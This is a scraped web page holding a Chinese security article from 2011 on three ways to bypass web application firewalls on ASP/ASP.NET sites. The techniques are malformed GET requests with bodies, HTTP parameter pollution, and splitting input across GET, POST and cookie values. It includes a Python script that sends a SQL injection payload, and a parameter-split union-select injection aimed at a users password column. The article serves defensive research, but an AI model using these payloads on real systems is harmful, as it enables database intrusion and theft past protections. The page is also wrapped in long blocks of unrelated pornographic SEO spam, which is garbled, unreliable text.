精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

淺談繞過WAF的數種方法

安全
08年初誕生了一種SQL群注攻擊,黑客在全球范圍內對asp,asp.net加MSSQL架構的網站進行了瘋狂掃蕩。由于MSSQL支持多語句注入,黑客通過一條結合游標的SQL語句就能將整個數據庫的字段內容自動進行篡改,可以在網站上無差別的進行網頁木馬攻擊。

0×00 前言

08年初誕生了一種SQL群注攻擊,黑客在全球范圍內對asp,asp.net加MSSQL架構的網站進行了瘋狂掃蕩。由于MSSQL支持多語句注入,黑客通過一條結合游標的SQL語句就能將整個數據庫的字段內容自動進行篡改,可以在網站上無差別的進行網頁木馬攻擊。

互聯網是快速更新迭代的,但是很多沒有開發能力的單位都是通過外包建立網站,網站的程序一上線就再也無人維護,很多程序存在各種漏洞無法修補,于是WAF便有了市場,現今門檻低且最能解決問題的是針對IIS/apache的軟件WAF,通常一個模塊一個擴展就能搞定,當然也有耗資百萬千萬的硬件WAF,然而如果WAF攔截規則出現漏洞,這百萬千萬的硬件也就是一堆廢鐵。那么WAF是否真的可以解決所有的WEB安全問題呢?所以本文主要解析一些可以繞過WAF的罕見漏洞,供安全人員參考。

0×01 Request對象的包解析漏洞.

asp和asp.net的Request對象存在一個包解析漏洞,Request對象對于GET和POST包的解析過于寬松,用一句話表達就是Request對象它GET和POST傻傻分不清楚,稍有點web開發經驗的同學應該知道Request接收GET,POST,COOKIE也就是GPC傳過來的數據,但是asp和.net庫內置的Request對象完全不按RFC標準來,下面我們可以做個測試:

分別將下面兩段代碼保存為1.asp和1.aspx

使用asp的Request對象接收t參數傳值

———————————————–

 

  1. <%  
  2.  
  3. Response.Write “Request:” & Request(“t”)  
  4.  
  5. %>  
  6.  

 

———————————————–

使用asp.net的Request對象接收t參數傳值

———————————————–

 

  1. <%@ Page Language=”C#” %>  
  2.  
  3. <%  
  4.  
  5. string test = Request["t"];  
  6.  
  7. Response.Write(“Request:”+test);  
  8.  
  9. %>  
  10.  

 

———————————————–

使用下面的python腳本調用socket發送原始的HTTP包

———————————————–

 

  1. #!/usr/bin/env python  
  2.  
  3. import socket  
  4.  
  5. host = ’192.168.239.129′  
  6.  
  7. path = ‘/1.asp’  
  8.  
  9. port = 80 
  10.  
  11. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  12.  
  13. s.connect((host, port))  
  14.  
  15. s.settimeout(8)  
  16.  
  17. exploit_packet=”t=’/**/or/**/11=1–”  
  18.  
  19. exploit_packet+=”\r\n” * 8  
  20.  
  21. packet_length = len(exploit_packet)  
  22.  
  23. packet=’GET ‘ + path + ‘ HTTP/1.1\r\n’  
  24.  
  25. packet+=’Host: ‘ + host + ‘\r\n’  
  26.  
  27. packet+=’Content-Length: %s\r\n’ % packet_length  
  28.  
  29. packet+=’Content-Type: application/x-www-form-urlencoded\r\n’  
  30.  
  31. packet+=’\r\n’  
  32.  
  33. packetpacket = packet + exploit_packet  
  34.  
  35. print packet  
  36.  
  37. s.send(packet)  
  38.  
  39. buf = s.recv(1000)  
  40.  
  41. if buf: print buf[buf.rfind("\r\n"):]  
  42.  
  43. s.close()  
  44.  

 

———————————————–

我們發送的原始包是:

GET /1.asp HTTP/1.1

Host: 192.168.239.129

Content-Length: 34

Content-Type: application/x-www-form-urlencoded

t=’/**/or/**/1=1– 

結果返回如下:

Request:’/**/or/**/1=1–

將python測試腳本的path改為/1.aspx測試頁返回同樣結果。

我們可以看到這是一個畸形的HTTP GET請求包,這個包的奧秘在于t=’/**/or/**/1=1–參數后的8個回車換行和Content-Length頭,包的結構類似于一個POST包,而請求的方法是GET,最后asp和asp.net的Request對象成功的解析了這個畸形包取出了數據。

所以如果WAF沒有處理好HTTP包的內容,沿用常規思路處理GET和POST的邏輯的話,那么這個畸形包將會毀掉WAF的基礎防御。

0×02 被遺忘的復參攻擊.

大家應該還記得09年的HTTP Parameter Pollution攻擊,查看[3]文檔,可以發現ASP/IIS和ASP.NET/IIS的場景下存在一個復參特性,本文將利用這種的特性的攻擊簡稱為復參攻擊,用0X01里的例子簡單的測試一下:

用GET請求傳入兩個t參數

GET http://192.168.239.129/1.asp?t=1&t=2

將返回

Request:1, 2

asp和asp.net的Request對象接收了兩個參數,并且以逗號分隔,所以便衍生出了[3]文檔中的復參SQL注入方法:

 

  1. Vulnerable code:  
  2.  
  3. SQL=”select key from table where id=”+Request.QueryString(“id”)  
  4.  
  5. This request is successfully performed using the HPP technique:  
  6.  
  7. /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users  
  8.  
  9. The SQL request becomes:  
  10.  
  11. select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan,  
  12.  

 

我們可以看到通過巧妙的運用注釋符結合復參特性可以分割GET參數中的SQL注入語句,如果WAF對GET參數的處理過于簡單是不是會匹配不到攔截規則呢?

0×03 高級復參攻擊.

ASP.NET的Request對象有一個Params屬性,ASP.NET程序員在一些程序中會使用Request.Params["xxx"]傳入數據,參考[4]微軟MSDN文檔我們可以知道Params屬性的特性,該屬性接收GET,POST和Cookie的傳值集合,這里我們可以修改0×01里的例子測試一下:

使用asp.net的Request.Params方法接收t參數傳值

———————————————–

 

  1. <%@ Page Language=”C#” %>  
  2.  
  3. <%  
  4.  
  5. string test = Request.Params["t"];  
  6.  
  7. Response.Write(“Request:”+test);  
  8.  
  9. %>  
  10.  

 

———————————————–

發送一個POST包,GET,POST,COOKIE三個方法中都帶有不同的t參數內容

———————————————–

POST http://192.168.239.129/1.aspx?t=1 HTTP/1.1

Host: 192.168.239.129

Cookie: t=2

t=3

———————————————–

結果返回

Request:1,3,2

最后得出結論,Request.Params方法接收的數據是按照GPC順序整合,看到這里的同學再聯想到0×02的復參攻擊應該如醍醐灌頂了,我們可以將SQL攻擊語句拆分到GET,POST,COOKIE三個變量里進行組合攻擊。想一想WAF針對這種高級復參攻擊是否防御好了?

0×04 后話

WAF是不可能解決所有安全問題的,本文的思路歸其本源實際上是描敘了WAF處理HTTP包與服務端處理HTTP包數種差異。互聯網是不斷更新迭代的,差異存在,類似的漏洞也會存在。

本文提到了三種繞過WAF的思路,第一種是我的原創屬于0DAY狀態,第二種是參考已有的復參攻擊,其中第三種高級復參攻擊是由Safe3同學提出的,本文也是與Safe3同學討論他開發的WAF的BUG而來,所以感謝Safe3同學。

另外請大家不要將本文的內容用于非法途徑,僅供安全人員參考,謝謝。

EMail: rayh4c#80sec.com

Site: http://www.80sec.com

Date: 2011-09-06

From: http://www.80sec.com/?p=244

 【編輯推薦】

  1. 如何選擇合適的Web應用防火墻(WAF)?
  2. Web應用程序防火墻(WAF)將無處不在
  3. Web Application Firewall(WAF)入門

 

責任編輯:于爽 來源: 80sec.com
相關推薦

2012-12-24 13:50:54

2019-02-19 08:45:41

2013-05-13 11:25:02

WAFWeb應用防火墻WAF繞過

2013-06-03 10:02:53

WAF繞過

2013-01-11 16:23:29

2015-06-16 13:37:03

2020-08-26 14:44:05

CDNIP子域名

2020-07-31 11:02:09

網絡攻擊WAF黑客

2009-07-28 16:07:40

.NET圖片快速處理

2013-12-18 09:39:37

XSSWAF繞過

2017-03-03 09:10:09

2022-08-03 12:28:58

云WAF網絡攻擊Web應用防火墻

2016-12-27 19:19:51

2019-05-07 08:15:21

2009-04-20 14:29:41

Oracle連接創建連接

2013-04-19 13:20:14

2022-08-24 08:07:11

MyBatisSQLMySQL

2017-09-01 21:00:05

MySQLSQL優化查詢方法

2023-10-09 08:32:57

GaussDBDRS數據庫

2017-12-14 21:45:39

點贊
收藏

51CTO技術棧公眾號

最新国产在线观看| 国产精品视频一二区| 国产成人手机高清在线观看网站| 欧美性猛交xxxx| 亚洲人一区二区| 亚洲精品国产精| 久久久久久久欧美精品| 久久色免费在线视频| 欧美极品jizzhd欧美仙踪林| 另类激情视频| 亚洲黄色小视频| 欧美成人dvd在线视频| 一区二区久久精品66国产精品| 欧美视频亚洲视频| 国产亚洲xxx| 性高潮免费视频| 日本在线精品| 亚洲6080在线| 懂色av一区二区三区四区五区| 婷婷色在线观看| 精品一区二区三区免费| 欧美在线一区二区三区四| 登山的目的在线| 国内精品视频在线观看| 欧美精品一区二区高清在线观看| 五月天激情视频在线观看| а_天堂中文在线| 国产精品国产三级国产aⅴ中文 | 日韩电影在线观看一区二区| 亚洲国产精品成人| 在线视频日韩精品| av黄色免费网站| 久久狠狠久久| 精品久久久久一区二区国产| 在线观看免费的av| 日韩av首页| 日韩欧美亚洲国产一区| 97干在线视频| 欧美xxxx少妇| 一区二区三区四区高清精品免费观看| 在线观看成人av| 国产福利电影在线| 国产亚洲美州欧州综合国| 国产在线视频欧美一区二区三区| a天堂在线视频| 国产综合久久久久久鬼色| 国产精品视频不卡| 午夜精品免费观看| 三级亚洲高清视频| 国产成人精品视| 无码人妻av免费一区二区三区 | 好吊色在线观看| 国产精品伊人色| 91超碰在线免费观看| 国产剧情久久久| 国产在线精品视频| 91精品国产99久久久久久红楼| 国产日韩在线观看一区| 国产乱理伦片在线观看夜一区| 91青草视频久久| 国产sm主人调教女m视频| 国产中文一区二区三区| 3d蒂法精品啪啪一区二区免费| 精品国产无码AV| 国产成人亚洲综合a∨猫咪| 99国精产品一二二线| 蜜臀av在线观看| 久久综合久久鬼色中文字| 欧美日韩亚洲免费| 成人网视频在线观看| 日本一区二区综合亚洲| 制服诱惑一区| 久久大胆人体| 欧美性猛交xxxx免费看漫画| 国产精品亚洲二区在线观看| 国产原创一区| 欧美一级日韩免费不卡| 亚洲激情 欧美| 久久av资源| 精品国偷自产在线视频99| 看片网站在线观看| 国产精品亚洲欧美| 国产精品久久久久久久久久三级 | 另类小说一区二区三区| 91美女高潮出水| 男人天堂网在线视频| 国产亚洲福利社区一区| 国产精品jizz在线观看老狼| 波多野结衣久久| 欧美亚洲自拍偷拍| 一区二区在线免费观看视频| 亚洲香蕉视频| 久久视频这里只有精品| 日韩经典在线观看| 久久成人免费网| 精品日本一区二区三区| 色网站免费在线观看| 亚洲国产日韩a在线播放| 超碰影院在线观看| jizz18欧美18| www.午夜精品| 欧美特黄aaaaaa| 国产在线精品一区在线观看麻豆| 久精品国产欧美| 国产美女福利在线| 欧美性猛交xxxx富婆| 无套内谢丰满少妇中文字幕| 亚洲理论电影片| 欧美高清videos高潮hd| 国产精品一区二区三区四| 久久91精品国产91久久小草| 农村寡妇一区二区三区| 欧美精品videosex| 欧美系列日韩一区| 国产成人av无码精品| 亚洲老妇激情| 国产精品视频网| 天堂在线视频观看| 亚洲精品美国一| 亚洲综合日韩欧美| 久久爱www成人| 96精品视频在线| 99久久精品无免国产免费| 国产欧美日韩不卡| 91视频 -- 69xx| 成人免费在线电影网| 久久av资源网站| 中文字幕有码无码人妻av蜜桃| 91在线观看视频| 国产日韩av网站| 香蕉大人久久国产成人av| 色妞欧美日韩在线| 亚洲伊人成人网| av不卡在线观看| 国产a级片网站| jazzjazz国产精品久久| 欧美日韩第一视频| www黄色在线观看| 一区二区三区欧美日| www.国产福利| 国产精品97| 成人免费淫片aa视频免费| av一区在线观看| 欧美三区在线观看| 亚洲av熟女国产一区二区性色 | 91欧美一区二区三区| 日韩精品一卡| 国产日韩中文字幕| 麻豆传媒在线观看| 欧美一区二区三区电影| www.av视频| 成人爱爱电影网址| 国产一级爱c视频| 欧美黑人做爰爽爽爽| 欧美在线视频网站| 国产九九在线| 欧美日韩国产123区| 久久免费看少妇高潮v片特黄| 韩国毛片一区二区三区| 8x8x华人在线| 高潮久久久久久久久久久久久久| 欧美激情图片区| 天天干天天草天天射| 欧美午夜女人视频在线| 久久久视频6r| 狠狠色丁香久久婷婷综合丁香| 欧美日韩在线免费观看视频| 精品一区二区三区中文字幕视频 | 欧美黄页在线免费观看| 久久精品国产亚洲精品2020| 国产wwwxxx| 午夜精品久久久久影视| 六月婷婷七月丁香| 美腿丝袜亚洲色图| 欧美一级爱爱视频| 奇米777国产一区国产二区| 国产成人精品日本亚洲| 黄色的网站在线观看| 亚洲成人黄色在线观看| 国产天堂第一区| 亚洲女同ⅹxx女同tv| 久久久久亚洲无码| 奇米一区二区三区| 日本成人在线不卡| 香蕉久久夜色精品国产更新时间| 国产精品视频中文字幕91| 日韩123区| 亚洲图片欧美午夜| www.激情五月| 日本道在线观看一区二区| 强制高潮抽搐sm调教高h| 国产98色在线|日韩| chinese少妇国语对白| 一区二区三区在线电影| 久99久在线| 欧美区一区二区| 国产成人久久精品| 欧美性受ⅹ╳╳╳黑人a性爽| 亚洲欧美国产精品va在线观看| 国产伦一区二区| 色婷婷亚洲精品| 妺妺窝人体色www聚色窝仙踪| 欧美激情在线观看视频免费| 蜜臀aⅴ国产精品久久久国产老师| 日精品一区二区| 妞干网在线播放| 久久中文字幕av一区二区不卡| 国产精品免费视频一区二区| 国产69精品久久久久9999人| 2019中文字幕在线| 亚洲按摩av| 综合av色偷偷网| 日韩在线无毛| 欧美成人猛片aaaaaaa| 中文字幕一区二区人妻| 舔着乳尖日韩一区| 免费在线观看av网址| 中文字幕在线观看一区| 国产手机在线观看| 99久久精品99国产精品| 国内自拍偷拍视频| 国产又粗又猛又爽又黄91精品| 国产一区视频免费观看| 国产日韩欧美三区| 日韩av高清在线看片| 欧美视频日韩| 中文字幕乱码免费| 国产精品久久久久无码av| 日韩视频精品| 九九视频精品全部免费播放| 精品国产aⅴ麻豆| jizz性欧美2| 99久久无色码| 欧美h版在线观看| 91久久国产综合久久91精品网站 | 影音先锋制服丝袜| 97久久精品人人做人人爽50路| 亚洲区 欧美区| 国产高清在线观看免费不卡| 亚洲第一色av| 精品无码三级在线观看视频| 一路向西2在线观看| 日韩专区一卡二卡| 日本一本二本在线观看| 亚洲一区网站| 北条麻妃在线一区| 日本欧美在线观看| 蜜桃免费在线视频| 蜜芽一区二区三区| 一起操在线视频| 国内成+人亚洲+欧美+综合在线 | 96视频在线观看欧美| 国产有码一区二区| 久久久久毛片免费观看| 91手机在线视频| 91精品国产自产精品男人的天堂| 亚洲a成v人在线观看| 日韩免费成人| 国产精品一区二区三区在线| 秋霞影视一区二区三区| 欧美大香线蕉线伊人久久| 国产成人一区| 国产91av视频在线观看| 在线成人直播| 精品人妻少妇一区二区| 久久久噜噜噜| 亚洲国产精品三区| 国产美女主播视频一区| 国产精品二区视频| 91麻豆视频网站| 99精品全国免费观看| 亚洲精品乱码久久久久久 | 久久77777| 欧美激情a在线| 日韩电影网站| 91性高湖久久久久久久久_久久99| 日韩一区二区三区在线看| 国产午夜精品一区| 成人情趣视频网站| 丰满人妻一区二区三区53号| 日韩一级大片| 日本中文字幕精品—区二区| 成熟亚洲日本毛茸茸凸凹| 国产精品亚洲无码| 亚洲欧美日韩国产综合| 国产超碰人人爽人人做人人爱| 欧美偷拍一区二区| 国产成人自拍一区| 一个人www欧美| 国产在线xxx| 国产精品久久一区| 国产在线播放精品| 亚洲图色在线| 一区二区91| 国内精品国产三级国产aⅴ久| 91啪九色porn原创视频在线观看| 无码人妻精品中文字幕| 亚洲观看高清完整版在线观看| 欧美日韩 一区二区三区| 日韩欧美国产一区在线观看| 国产高清av在线| 久久久久久久一区二区| 成人午夜在线| 狠狠色综合色区| 中文精品电影| 久久综合伊人77777麻豆最新章节| 国产成a人亚洲| 欧美黄色高清视频| 五月婷婷综合在线| www.麻豆av| 色偷偷9999www| 精品日韩视频| 九九九久久久| 午夜精品婷婷| 亚洲综合20p| 国产日韩欧美a| 国产精品一区二区6| 欧美成人aa大片| 久草资源在线| 国产精品无码专区在线观看| 日韩精品免费一区二区夜夜嗨| 2021国产视频| 国产裸体歌舞团一区二区| 午夜影院黄色片| 色综合天天狠狠| 天堂av手机版| 久久久久久有精品国产| 免费一区二区三区在线视频| 亚洲欧洲中文| 日本美女视频一区二区| 男生草女生视频| 色天天综合久久久久综合片| 欧美视频xxx| 久久久久久亚洲精品中文字幕| 日韩一区二区三区在线看| 免费看av软件| 国内精品在线播放| 欧美风情第一页| 337p亚洲精品色噜噜噜| 欧美三级电影一区二区三区| 国产精品美女久久久久久免费 | fc2成人免费人成在线观看播放| 伊人在线视频观看| 欧美精选在线播放| 日本不卡在线| 91久久久在线| 午夜精品偷拍| 稀缺小u女呦精品呦| 亚洲一区二区三区中文字幕 | www.日韩欧美| 精品国产一区二区三区性色av | 美国黄色特级片| 欧美日韩小视频| 国产午夜精品久久久久免费视| 成人精品视频久久久久| 亚洲国产精品久久久天堂| 九九九久久久久久久| 一区二区三区欧美视频| 亚洲免费黄色片| 羞羞色国产精品| 国际精品欧美精品| 国产成人在线综合| 亚洲一二三区不卡| 四虎影院在线域名免费观看| 日本精品中文字幕| 欧美a级成人淫片免费看| 91精品免费观看| 少妇精品一区二区三区| 欧美在线|欧美| 黄色视屏免费在线观看| 国产超碰91| 午夜亚洲视频| 男人av资源站| 日韩av网站大全| 福利视频一区| 国产精品视频网站在线观看| 99精品欧美一区二区三区综合在线| 国产www在线| 久久久久www| 日韩精品免费一区二区三区竹菊| 午夜欧美福利视频| 亚洲精品视频在线看| 日本黄在线观看| 91沈先生在线观看| 在线一区视频| 任我爽在线视频| 日韩精品中文字幕久久臀| 国产69精品久久| 免费看国产曰批40分钟| 国产欧美精品一区aⅴ影院| 99产精品成人啪免费网站| 91国产精品电影| 999久久久国产精品| 先锋资源av在线| 欧美丰满高潮xxxx喷水动漫| 99riav视频在线观看| 伊人久久大香线蕉精品| 99久久99久久综合| 国产偷拍一区二区| 国产精品久久久久一区二区|